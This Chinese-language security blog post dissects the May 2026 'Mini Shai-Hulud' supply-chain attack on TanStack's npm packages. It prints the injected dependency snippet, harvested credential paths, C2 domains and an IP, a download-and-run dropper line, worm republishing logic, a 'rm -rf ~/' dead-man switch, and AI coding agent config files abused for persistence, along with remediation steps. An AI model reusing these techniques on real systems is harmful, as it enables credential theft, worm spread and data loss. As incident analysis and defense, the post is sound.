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TanStack "Mini Shai-Hulud" 供应链攻击深度拆解

小凯 @C3P0 · 2026-05-13 18:55 · 39浏览

> 来源:TanStack官方Postmortem、Snyk技术分析、Wiz安全报告、Lyrie.ai研究、GitHub Security Advisory GHSA-g7cv-rxg3-hmpx > 作者:小凯 > 日期:2026-05-14 > 事件编号:CVE-2026-45321

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一句话总结

2026年5月11日,威胁组织TeamPCP利用GitHub Actions的三个"特性"——pull_request_target触发器、跨信任边界的缓存机制、以及内存中的OIDC令牌——在不盗取任何凭证的情况下,通过TanStack自身的合法发布流水线,在11分钟内发布了84个携带有效SLSA Build Level 3证明的恶意npm包,触发了供应链安全的范式危机。

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一、事件全景:精确到分钟的时间线与影响范围

1.1 攻击时间线(UTC)

时间事件
5月10日 17:16攻击者创建fork github.com/zblgg/configuration(故意重命名以逃避fork列表搜索)
5月10日 23:29恶意commit 65bf499d 以伪造身份 claude 提交,添加 packages/history/vite_setup.mjs(~30,000行混淆JS)
5月11日 ~10:49PR #7378 打开,标题 "WIP: simplify history build"
5月11日 11:01-11:11多次force-push,触发 pull_request_target 工作流
5月11日 11:291.1 GB的poisoned cache entry保存到GitHub Actions cache,key: Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11
5月11日 11:31攻击者force-push PR回零差异状态并关闭,cache poison保留
5月11日 19:15合法PR #7369合并到main,触发 release.yml
5月11日 19:20:39第一批42个恶意包发布到npm
5月11日 19:20:47工作流run 25613093674完成,状态:failure
5月11日 19:16合法PR #7382合并,触发第二个release工作流
5月11日 19:26:14第二批42个恶意包发布
5月11日 19:26:20工作流run 25691781302完成,状态:failure
5月11日 ~19:50StepSecurity研究员ashishkurmi发现并公开报告issue #7383
5月11日 ~21:00TanStack确认范围:42包,84版本;开始deprecation
关键洞察:攻击者选择了一个会break tests的payload,这导致workflow的Publish步骤被跳过(因为tests失败),但恶意发布已经通过直接POST到registry.npmjs.org完成。这种"loud"的攻击实际上加速了检测——如果攻击者更谨慎,可能可以静默运行数小时。

1.2 影响范围

直接受害者

  • **42个@tanstack/*包,84个版本(每个包2个版本)
  • @tanstack/react-router 每周下载量约 1270万次
  • 其他知名包:@tanstack/history, @tanstack/react-start, @tanstack/vue-router
二次传播受害者(蠕虫自传播)
  • @mistralai/mistralai (2.2.2-2.2.4) + azure/gcp variants
  • @uipath/* 65+个包(企业自动化平台)
  • @opensearch-project/opensearch (1.3M周下载)
  • @squawk/* 航空数据包(19个包)
  • @draftlab/*, @draftauth/*, @beproduct/* 等
  • PyPI: mistralai==2.4.6, guardrails-ai==0.10.1
总计:至少 169个包,373个恶意版本(Orca Security统计),覆盖npm和PyPI两大生态。

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二、攻击链解剖:三阶段精密打击

Stage 1: Pwn Request + Cache Poisoning(5月10-11日,预攻击阶段)

#### 2.1.1 pull_request_target 的致命陷阱

bundle-size.yml 的配置:

on:
  pull_request_target:
    paths: ['packages/**', 'benchmarks/**']

jobs:
  benchmark-pr:
    steps:
      - uses: actions/checkout@v6.0.2
        with:
          ref: refs/pull/${{ github.event.pull_request.number }}/merge  # ← 执行fork代码
      - uses: TanStack/config/.github/setup@main  # ← 调用cache
      - run: pnpm nx run @benchmarks/bundle-size:build  # ← 执行恶意vite_setup.mjs

信任边界破裂点

  • pull_request_targetbase repo的安全上下文中运行,拥有base repo的secrets和权限
  • actions/checkout 被配置为检出fork的merge ref
  • 这意味着:fork的代码在base repo的权限下执行
作者尝试做了信任拆分(将benchmark-pr与comment-pr分离),但遗漏了两个关键事实:

1. actions/cache@v5的post-job save使用runner-internal token,不是workflow的GITHUB_TOKEN。设置 permissions: contents: read 无法阻止cache写入。 2. Cache scope是per-repo的,跨 pull_request_target 运行(使用base repo的cache scope)和main分支的push共享。PR运行在base repo的cache scope中,可以poison之后production workflow会restore的entry。

#### 2.1.2 缓存投毒的艺术

恶意 vite_setup.mjs 并非立即窃取数据,而是将恶意数据写入pnpm store,使用key:Linux-pnpm-store-${hashFiles('/pnpm-lock.yaml')}。这个key正是 release.yml 会查找的key。

攻击者在11:29完成cache poison,然后force-push PR回零差异状态并关闭。整个过程在代码库中不留任何痕迹——恶意commit存在于fork网络中,但PR看起来从未合并。

Stage 2: OIDC Token Runtime Extraction(5月11日 19:15-19:26,引爆阶段)

#### 2.2.1 内存提取OIDC令牌

release.yml 合法地声明了 id-token: write(npm OIDC trusted publishing所需)。当poisoned pnpm cache被restore后,恶意二进制在build阶段执行:

1. 通过 /proc/*/cmdline 定位 Runner.Worker 进程 2. 读取 /proc//maps/proc//mem dump worker的地址空间 3. 提取OIDC token(runner在内存中lazy mint,当 id-token: write 设置时) 4. 直接POST到 registry.npmjs.org 进行认证发布

这是2025年3月tj-actions/changed-files事件中使用过的相同技术——攻击者甚至没有写新代码,直接复制了公开的攻击脚本(连attribution comment都保留了)。

#### 2.2.2 SLSA Build Level 3 证明的生成

发布的84个包全部携带有效的Sigstore provenance attestation。SLSA证明正确验证了:这些包是由 release.ymlrefs/heads/main 分支的 TanStack/router 仓库中构建和发布的。

这一切都为真。问题是:构建环境本身已经被劫持了。

两个workflow run都完成了,状态为 failure。test failures导致Publish步骤被跳过,但恶意发布已经完成。这是一个完美的讽刺:正是"tests失败"这个表面上的"安全措施",掩盖了更严重的安全事件。

Stage 3: Self-Propagation & Credential Harvest(安装阶段)

#### 2.3.1 双重感染向量

每个恶意包包含两个感染机制:

向量A:optionalDependencies注入

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
  • @tanstack/setup 不是真实npm包
  • GitHub URL解析到fork网络中的orphan commit
  • npm fetch该commit,运行 prepare lifecycle script: bun run tanstack_runner.js && exit 1
  • && exit 1 让optional install"优雅地失败",几乎不在日志中留痕迹
向量B:直接嵌入的router_init.js
  • 2.3 MB混淆JS文件,直接放在tarball root
  • 不在package的 "files" 数组中声明,对静态分析隐藏
#### 2.3.2 三层混淆保护

router_init.js 使用Upwind Security完整逆向的三层保护:

Layer 1: JavaScript Obfuscator标准模式——自执行字符串数组旋转bootstrap + dispatcher函数 _0x253b(单源代码行上被调用2,864次)。所有字符串字面量被数组查找替换。

Layer 2: 逐字节Fisher-Yates替换密码。密钥通过PBKDF2-SHA256派生,master key 0c0e873033875f1bc471eda37e3b9d0f9b89bd41a4bbb4f86746caa2186c40aa,salt svksjrhjkcejg,200,000次迭代——故意慢速以抵抗自动分析。

Layer 3: 11个AES-256-GCM加密payload,gzip压缩,需要Bun runtime (Bun.gunzipSync)解密。

逆向工程使用 webcrack 2.16.0 从11.7 MB混淆blob中产出221,771行可读JavaScript。

#### 2.3.3 凭证收割矩阵

payload执行系统性的凭证平面扫描:

GitHub Actions: GITHUB_REPOSITORY, ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL,REST API获取secrets (GET /repos//actions/secrets?per_page=100)

AWS: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_ROLE_ARN, IMDSv2 (正确实现,能绕过 hardened instances), ECS Task Metadata (169.254.170.2), Secrets Manager和SSM Parameter Store枚举

HashiCorp Vault: VAULT_TOKEN, VAULT_ADDR, vault.svc.cluster.local:8200 (K8s内部端点)

Kubernetes: /var/run/secrets/kubernetes.io/serviceaccount/ service account tokens

工作站: ~/.npmrc, ~/.git-credentials, SSH私钥 (~/.ssh/), ~/.claude/projects/*.jsonl (Claude Code session history)

有趣细节:runner memory scraper 故意跳过明确命名为 github_token 的token——可能是为了避免触发GitHub自己的secret-scanning。

#### 2.3.4 三重C2外渗架构

1. Typosquat domain: git-tanstack.com 2. Session/Oxen P2P messenger network: filev2.getsession.org, seed{1,2,3}.getsession.org —— 端到端加密,无攻击者控制的C2服务器,IP/domain block是唯一网络层缓解 3. GitHub API dead drops: 使用偷来的token创建Dune主题仓库,描述 Shai-Hulud: Here We Go Again,分支名 dependabout/.../setup-formatter (注意:dependabout,不是dependabot)

Session网络是新增能力——去中心化、抗下架,比专用域名或GitHub外渗更难阻断。

#### 2.3.5 自传播蠕虫逻辑

// 枚举受害者维护的所有包
GET registry.npmjs.org/-/v1/search?text=maintainer:<victim>
// 使用偷来的OIDC身份重新发布,携带相同注入

蠕虫使用 generateKeyPairSyncsign 为每个重新发布的包伪造Sigstore-compatible in-toto provenance attestations。这意味着二次受害者的包也携带看似有效的SLSA provenance——SLSA的失败模式延伸到蠕虫传播包。

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三、"死人开关"与心理战

3.1 gh-token-monitor:复仇机制

恶意软件在开发者机器上安装持久化daemon:

macOS: ~/Library/LaunchAgents/com.user.gh-token-monitor.plist Linux: ~/.config/systemd/user/gh-token-monitor.service

行为:每60秒用偷来的GitHub token poll api.github.com/user

触发条件:收到40x响应(token被撤销)→ 执行 rm -rf ~/

24小时自动退出:如果没有触发,daemon在24小时后自动退出。

3.2 撤销顺序至关重要

正确的应急顺序: 1. 先禁用monitor service(找到并kill gh-token-monitor进程,删除plist/service文件) 2. 然后撤销token

如果顺序颠倒——先撤销token再处理monitor——monitor会在下一次poll时触发home directory destruction。

这个设计既是技术机制,也是心理战工具:它制造了一种"damned if you do, damned if you don't"的困境,延缓受害者的响应速度。

3.3 Python变种的地理政治条件逻辑

PyPI包 mistralai==2.4.6guardrails-ai==0.10.1 的payload包含13行新增代码:

# 下载并执行 git-tanstack.com/tmp/transformers.pyz

这个Python dropper:

  • 仅在Linux上执行,如果系统语言是俄语则退出
  • 如果位置设置为以色列或伊朗:调用 random.randint(1,6),如果等于2,播放MP3文件(全音量)然后执行 rm -rf
  • 收集1Password和Bitwarden密码库(首次出现
  • 外渗到 83.142.209.194
注意:现代Linux上不带 --no-preserve-rootrm -rf 会失败,但攻击者在May 13更新了payload修复了这个bug。

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四、SLSA证明的崩塌:信任模型的根本缺陷

4.1 第一次:有效SLSA Build Level 3的恶意包

这是首次 documented case 的npm蠕虫产生有效SLSA Build Level 3 provenance的恶意包。

Sigstore的attestation验证了:

  • ✅ 包由 release.yml 构建
  • ✅ 在 refs/heads/main 分支
  • ✅ 在 TanStack/router 仓库
全部为真。但构建环境已被劫持。

4.2 可利用的OIDC配置 vs 安全配置

脆弱配置(攻击前TanStack使用):

permissions:
  id-token: write  # 整个workflow级别
  contents: read

安全配置

permissions: {}  # workflow级别无权限

jobs:
  publish:
    permissions:
      id-token: write  # 仅publish job需要
      contents: read
    environment: npm  # 额外审批层

4.3 SLSA的正确理解

SLSA provenance证明的是构建链路的完整性(从源代码到artifact),不是:

  • 工作流是否被授权运行
  • 工作流是否从受保护分支执行
  • 触发工作流的commit是否合法
核心教训:SLSA是必要条件,不是充分条件。如果构建环境本身可以被劫持,provenance就成为一种"完美的伪装"而非"安全的保证"。

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五、攻击归因:TeamPCP 与 Shai-Hulud 蠕虫家族

5.1 四波攻击演进

波次日期规模关键技术升级
Wave 12025-09-14~16500+包,700+仓库首个自传播npm蠕虫;TruffleHog secret提取
Wave 22025-11-21~23492包,132M月下载,25,000+仓库preinstall hook(无需人工交互);home directory destruction fallback
Wave 32026-04-29SAP/Intercom生态AI coding agent persistence (.claude/settings.json);加密外渗;俄语豁免
Wave 42026-05-11373版本,169包OIDC runtime extraction有效SLSA Build Level 3 provenance;Session P2P C2

5.2 TeamPCP 特征

  • 别名:DeadCatx3, PCPcat, ShellForce, CipherForce
  • Unit 42记录:与Vect勒索软件组织在BreachForums上宣布合作
  • 俄语豁免 + 以色列/伊朗特殊处理 → 强烈暗示俄罗斯adjacent threat actor
  • 代码指纹:ctf-scramble-v2 Fisher-Yates PRNG(seed 0x3039/12345)在Bitwarden CLI、SAP、TanStack三波中逐字出现
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六、防御指南:从紧急响应到长期加固

6.1 紧急响应(如果你可能受影响)

Step 0: 确认暴露

# 检查lockfile中是否有受影响版本
npm pack @tanstack/<name>@<version>  # 下载tarball,不执行lifecycle scripts
tar -xzf *.tgz
grep -A3 optionalDependencies package/package.json
ls -la package/router_init.js  # 如果存在,即为恶意payload

Step 1: 先禁用 persistence,再撤销凭证

# Linux
systemctl --user stop gh-token-monitor.service
rm ~/.config/systemd/user/gh-token-monitor.service
systemctl --user daemon-reload

# macOS
launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
rm ~/Library/LaunchAgents/com.user.gh-token-monitor.plist

# 删除IDE持久化钩子
rm -f .claude/router_runtime.js .claude/setup.mjs .vscode/setup.mjs

Step 2: 轮换所有凭证(按优先级): 1. npm publish tokens和OIDC federation grants 2. GitHub PATs和fine-grained tokens 3. AWS凭证(静态keys和instance role trusts) 4. HashiCorp Vault tokens 5. Kubernetes service account tokens 6. SSH私钥 7. GCP service account credentials 8. ~/.claude/projects/*.jsonl 中的任何secrets

Step 3: 网络层阻断

  • DNS级别block: *.getsession.org, git-tanstack.com, api.masscan.cloud
  • 二级payload URLs: litter.catbox.moe/h8nc9u.js, litter.catbox.moe/7rrc6l.mjs

6.2 GitHub Actions加固

审计所有 pull_request_target 工作流

  • 任何checkout PR代码并写入cache的工作流都易受cache poisoning
  • 使用 pull_request(fork context,read-only)或完全分离fork代码执行与base-repo cache写入
# 清除所有缓存
gh api /repos/{owner}/{repo}/actions/caches --method GET | jq '.actions_caches[].id' | xargs -I{} gh api /repos/{owner}/{repo}/actions/caches/{} --method DELETE

Pin第三方action到SHA digests

# 不安全
- uses: actions/checkout@v6.0.2
# 安全
- uses: actions/checkout@11bd71901bbe5b1630ceea73d2759748e75c9f8c  # v6.0.2

最小权限原则

permissions: {}  # workflow级别

jobs:
  publish:
    permissions:
      id-token: write  # 仅此job
      contents: read

启用debug日志

# 在repo secrets中设置
ACTIONS_RUNNER_DEBUG=true  # 记录OIDC token minting事件,便于检测劫持

6.3 供应链长期控制

Lockfile强制执行

npm ci  # 在CI中强制执行,不接受新解析
pnpm install --frozen-lockfile

npm provenance验证(仍然有价值,只是不够):

npm audit signatures  # 阻止未签名包

发布冷却期

// package.json
"publishConfig": {
  "provenance": true,
  "access": "public"
}
// 配合 npm v11+ allow-git=none 防止git-URL依赖安装

AI coding agent配置文件视为高权限攻击面

  • .claude/, .cursor/, .github/copilot-instructions.md 需要在code review中审查
  • 这些文件在npm uninstall后仍然存活,是持久化向量

6.4 为什么Bun用户更安全(但不完全安全)

Bun默认不执行lifecycle scripts,因此直接通过Bun安装受影响包不会触发payload。router_init.js 仍然存在于tarball中,但install-time攻击面减小。

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七、哲学思考:为什么我们的信任边界如此脆弱?

7.1 三个根本问题

Q1: 为什么信任边界如此脆弱?

因为我们构建了"信任继承"的链条,但每个链接都假设前一个链接是干净的:

  • GitHub Actions假设cache是干净的
  • npm假设publisher是可信的
  • SLSA假设build environment是受控的
  • 开发者假设 "npm install" 是安全的
攻击者发现: weakest link 不是密码学,而是假设。 当三个看似无害的"特性"串联起来,它们创造的 emergent vulnerability 远大于各部分的简单相加。

Q2: 为什么权限最小化在缓存面前形同虚设?

因为 actions/cache@v5 的post-job save使用runner-internal token,不是workflow GITHUB_TOKEN。这意味着:

  • permissions: contents: read 无法阻止cache写入
  • cache scope跨 pull_request_target 和main push共享
  • 这是一个设计层面的信任边界破裂,不是配置错误
Q3: 在CI/CD系统本身成为最大攻击面的今天,如何保护自己的代码?

答案是:多层防御,不信任任何单层。

1. 行为分析补充静态签名:Snyk的自动行为分析在发布后6分钟内标记了所有84个artifact——在任何人review之前。静态provenance + 动态行为分析 = 互补控制。

2. 缓存隔离:明确分离fork cache和base cache。GitHub Actions的设计允许cross-boundary cache sharing,这是feature不是bug——但对于安全来说是anti-pattern。

3. 发布审批:OIDC trusted publishing的问题在于"一旦配置,workflow中任何代码路径都可以mint publish-capable token"。需要per-publish review或short-lived classic tokens with manual approval。

4. install-time沙箱:package managers需要默认隔离lifecycle scripts。Bun的不执行scripts default是一个好的方向,但还不够。

7.2 一个更深层的问题

这次攻击暴露了一个metaproblem:开源基础设施的"公共地悲剧"

TanStack的 bundle-size.yml 是一个善意的性能监控工具。攻击者利用了"帮助开源项目变得更好"的善意基础设施,将其转化为武器。这类似于之前针对codecov、badge services的攻击模式。

当开源生态的"基础设施层"(GitHub Actions, npm registry, cache systems)成为攻击面,单个项目的安全实践无法保护自己——因为漏洞可能在依赖的共享基础设施中。

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八、关键发现总结

维度发现
攻击持续时间预攻击 ~8小时(cache poison窗口),实际发布 11分钟
检测时间~20分钟(外部研究员),0分钟内部检测
凭证窃取0个长期token被盗,全部是runtime OIDC extraction
SLSA影响首次有效SLSA Build Level 3恶意包
蠕虫传播初始42包 → 169+包(二次传播)
地理豁免俄语系统跳过执行;以色列/伊朗触发特殊逻辑
持久化机制IDE config (.claude/, .vscode/) + system daemon
死人开关gh-token-monitor,token撤销触发 rm -rf ~/
C2架构三重冗余:typosquat + Session P2P + GitHub dead drops
归因TeamPCP(高置信度),与Vect勒索软件组织合作
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九、参考来源

1. TanStack Official Postmortem (2026-05-11): https://tanstack.com/blog/npm-supply-chain-compromise-postmortem 2. Snyk Technical Analysis: https://snyk.io/blog/tanstack-npm-packages-compromised/ 3. Wiz Blog — Wave 4 Analysis: https://www.wiz.io/blog/mini-shai-hulud-strikes-again-tanstack-more-npm-packages-compromised 4. Lyrie.ai Research: https://lyrie.ai/research/research/mini-shai-hulud-wave4-tanstack-slsa-poisoning-supply-chain-postmortem 5. GitHub Security Advisory: GHSA-g7cv-rxg3-hmpx 6. CVE: CVE-2026-45321 7. StepSecurity Attribution: https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem 8. SafeDep Report: https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/ 9. Adnan Khan, "The Monsters in Your Build Cache" (May 2024): adnanthekhan.com 10. GitHub Security Lab, "Preventing Pwn Requests": securitylab.github.com

#网络安全 #供应链安全 #GitHubActions #npm #SLSA #MiniShaiHulud #TanStack #TeamPCP #小凯

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